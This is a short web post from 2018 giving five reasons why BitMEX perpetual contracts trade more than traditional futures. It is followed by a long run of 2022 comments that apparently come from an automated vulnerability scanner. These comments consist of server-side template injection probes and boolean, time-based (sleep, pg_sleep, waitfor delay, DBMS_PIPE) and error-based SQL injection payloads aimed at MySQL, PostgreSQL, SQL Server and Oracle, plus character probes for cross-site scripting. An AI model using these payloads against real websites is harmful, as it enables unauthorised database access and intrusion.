Why the volume of BitMEX perpetual contract is much higher than that of traditional futures?

The author believes that the BitMEX perpetual contract transaction volume is much higher than the traditional futures mainly for the following reasons:


Firstly,the perpetual price closely follows the spot, suitable for short-term trading.


Secondly. the quarterly futures are often premium or discounted, and traders are reluctant to take on this risk.


Thirdly,the interest mechanism of the perpetual contract leads to fierce competition, and the forward futures contract is actually only subject to the delivery date.


Fourhly, the perpetual contract interest is only charged at 3 time points, in order to avoid interest, leading to frequent changes in long and short.


Finally, the perpetual contract can be understood as a short-term contract, which is delivered every 8 hours. The short-term contract is generally more active than the forward contract.



  admin   2018-7-8

KfnqDuxw2022-7-15 15:00:33
555
KfnqDuxw2022-7-15 15:02:55
${@var_dump(md5(271661659))};
KfnqDuxw2022-7-15 15:02:56
${867954775+866089188}
KfnqDuxw2022-7-15 15:02:56
'-var_dump(md5(997181996))-'
KfnqDuxw2022-7-15 15:03:00
uvvgougedlenzpjoouqk
KfnqDuxw2022-7-15 15:03:14
/*1*/{{826199016+807829124}}
KfnqDuxw2022-7-15 15:03:14
${977154086+904467294}
KfnqDuxw2022-7-15 15:03:15
${(898377100+976938515)?c}
KfnqDuxw2022-7-15 15:03:20
#set($c=899328592+895201542)${c}$c
KfnqDuxw2022-7-15 15:03:20
'and'b'='b
KfnqDuxw2022-7-15 15:03:20
'and'd'='d
KfnqDuxw2022-7-15 15:03:22
"and"o"="o
KfnqDuxw2022-7-15 15:03:25
"and"b"="k
KfnqDuxw2022-7-15 15:03:27
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
KfnqDuxw2022-7-15 15:03:28
'and(select*from(select+sleep(3))a/**/union/**/select+1)='
KfnqDuxw2022-7-15 15:03:30
<%- 809627743+892288634 %>
KfnqDuxw2022-7-15 15:03:30
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
KfnqDuxw2022-7-15 15:03:31
"and(select*from(select+sleep(3))a/**/union/**/select+1)="
KfnqDuxw2022-7-15 15:03:33
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
KfnqDuxw2022-7-15 15:03:35
'/**/and(select'1'from/**/pg_sleep(3))::text>'0
KfnqDuxw2022-7-15 15:03:37
'and(select+1)>0waitfor/**/delay'0:0:0
KfnqDuxw2022-7-15 15:03:39
'and(select+1)>0waitfor/**/delay'0:0:3
KfnqDuxw2022-7-15 15:03:41
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',0)='y
KfnqDuxw2022-7-15 15:03:42
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',3)='x
KfnqDuxw2022-7-15 15:03:48
'and/**/extractvalue(1,concat(char(126),md5(1561426178)))and'
KfnqDuxw2022-7-15 15:03:49
"and/**/extractvalue(1,concat(char(126),md5(1509853415)))and"
KfnqDuxw2022-7-15 15:03:51
extractvalue(1,concat(char(126),md5(1048510082)))
KfnqDuxw2022-7-15 15:03:53
'and(select'1'from/**/cast(md5(1647699078)as/**/int))>'0
KfnqDuxw2022-7-15 15:03:54
/**/and/**/cast(md5('1570191188')as/**/int)>0
KfnqDuxw2022-7-15 15:03:55
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1015068660')))
KfnqDuxw2022-7-15 15:03:57
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1231809822')))>'0
KfnqDuxw2022-7-15 15:03:59
鎈'"\(
KfnqDuxw2022-7-15 15:04:02
'"\(
MmzHrrdb2022-10-19 4:13:06
9pjqWGHG
MmzHrrdb2022-10-19 4:13:08
*234*229*0
MmzHrrdb2022-10-19 4:13:11
(NaN-234-5)
MmzHrrdb2022-10-19 4:13:12
*186*181*0
MmzHrrdb2022-10-19 4:13:14
(NaN-186-5)
MmzHrrdb2022-10-19 4:13:15
*809*804*0
MmzHrrdb2022-10-19 4:13:17
(NaN-809-5)
MmzHrrdb2022-10-19 4:13:26
*640*635*0
MmzHrrdb2022-10-19 4:13:28
(NaN-640-5)
MmzHrrdb2022-10-19 4:13:29
-1 OR 2+256-256-1=0+0+0+1
MmzHrrdb2022-10-19 4:13:30
-1 OR 3+256-256-1=0+0+0+1
MmzHrrdb2022-10-19 4:13:32
-1 OR 3*2<(0+5+256-256)
MmzHrrdb2022-10-19 4:13:33
-1 OR 3*2>(0+5+256-256)
MmzHrrdb2022-10-19 4:13:35
RLIKE (SELECT (CASE WHEN (245=245) THEN 1 ELSE 0x28 END)) --
MmzHrrdb2022-10-19 4:13:40
if(now()=sysdate(),sleep(15),0)
MmzHrrdb2022-10-19 4:13:48
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
MmzHrrdb2022-10-19 4:14:04
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
MmzHrrdb2022-10-19 4:14:13
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
MmzHrrdb2022-10-19 4:14:20
-1; waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:14:25
-1); waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:14:37
-1)); waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:14:42
1 waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:14:47
uX2dfn9L'; waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:14:52
z0i28B64'); waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:14:57
clpwvh0K')); waitfor delay '0:0:15' --
MmzHrrdb2022-10-19 4:15:02
-5 OR 807=(SELECT 807 FROM PG_SLEEP(15))--
MmzHrrdb2022-10-19 4:15:07
-5) OR 226=(SELECT 226 FROM PG_SLEEP(15))--
MmzHrrdb2022-10-19 4:15:14
-1)) OR 211=(SELECT 211 FROM PG_SLEEP(15))--
MmzHrrdb2022-10-19 4:15:19
tb95Smk2' OR 165=(SELECT 165 FROM PG_SLEEP(15))--
MmzHrrdb2022-10-19 4:15:25
gnzgrZem') OR 112=(SELECT 112 FROM PG_SLEEP(15))--
MmzHrrdb2022-10-19 4:15:32
5Er0pVXx')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--
MmzHrrdb2022-10-19 4:15:43
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
MmzHrrdb2022-10-19 4:15:47
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
MmzHrrdb2022-10-19 4:15:48
1'"
MmzHrrdb2022-10-19 4:15:49
1����%2527%2522
MmzHrrdb2022-10-19 4:15:50
@@CldbB
QlqzzNwr2022-11-23 20:23:24
ucRzY3jl
QlqzzNwr2022-11-23 20:23:26
*720*715*0
QlqzzNwr2022-11-23 20:23:27
(NaN-720-5)
QlqzzNwr2022-11-23 20:23:28
*744*739*0
QlqzzNwr2022-11-23 20:23:29
(NaN-744-5)
QlqzzNwr2022-11-23 20:23:31
*328*323*0
QlqzzNwr2022-11-23 20:23:32
(NaN-328-5)
QlqzzNwr2022-11-23 20:23:33
*609*604*0
QlqzzNwr2022-11-23 20:23:34
(NaN-609-5)
QlqzzNwr2022-11-23 20:23:35
-1 OR 2+840-840-1=0+0+0+1
QlqzzNwr2022-11-23 20:23:36
-1 OR 3+840-840-1=0+0+0+1
QlqzzNwr2022-11-23 20:23:37
-1 OR 3*2<(0+5+840-840)
QlqzzNwr2022-11-23 20:23:38
-1 OR 3*2>(0+5+840-840)
QlqzzNwr2022-11-23 20:23:38
RLIKE (SELECT (CASE WHEN (796=796) THEN 1 ELSE 0x28 END)) --
QlqzzNwr2022-11-23 20:23:57
if(now()=sysdate(),sleep(15),0)
QlqzzNwr2022-11-23 20:24:16
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
QlqzzNwr2022-11-23 20:24:37
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
QlqzzNwr2022-11-23 20:25:03
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
QlqzzNwr2022-11-23 20:25:22
-1; waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:25:41
-1); waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:26:02
-1)); waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:26:21
1 waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:26:42
F5K9HaEo'; waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:27:03
aRhZGn02'); waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:27:22
UtFSYRt7')); waitfor delay '0:0:15' --
QlqzzNwr2022-11-23 20:27:39
-5 OR 111=(SELECT 111 FROM PG_SLEEP(15))--
QlqzzNwr2022-11-23 20:27:58
-5) OR 17=(SELECT 17 FROM PG_SLEEP(15))--
QlqzzNwr2022-11-23 20:28:16
-1)) OR 616=(SELECT 616 FROM PG_SLEEP(15))--
QlqzzNwr2022-11-23 20:28:34
hoLp2UPX' OR 612=(SELECT 612 FROM PG_SLEEP(15))--
QlqzzNwr2022-11-23 20:28:51
1A3VvKxK') OR 254=(SELECT 254 FROM PG_SLEEP(15))--
QlqzzNwr2022-11-23 20:29:11
z3g7OxhP')) OR 718=(SELECT 718 FROM PG_SLEEP(15))--
QlqzzNwr2022-11-23 20:29:28
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
QlqzzNwr2022-11-23 20:29:45
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
QlqzzNwr2022-11-23 20:29:46
1'"
QlqzzNwr2022-11-23 20:29:47
1����%2527%2522
QlqzzNwr2022-11-23 20:29:48
@@ao5az
x7b1r68q2022-12-20 17:50:39
x7d8hf40
x7b1r68q2022-12-20 17:50:43
x7ebltkl'"<=/-*>x7ebltkl
Remark: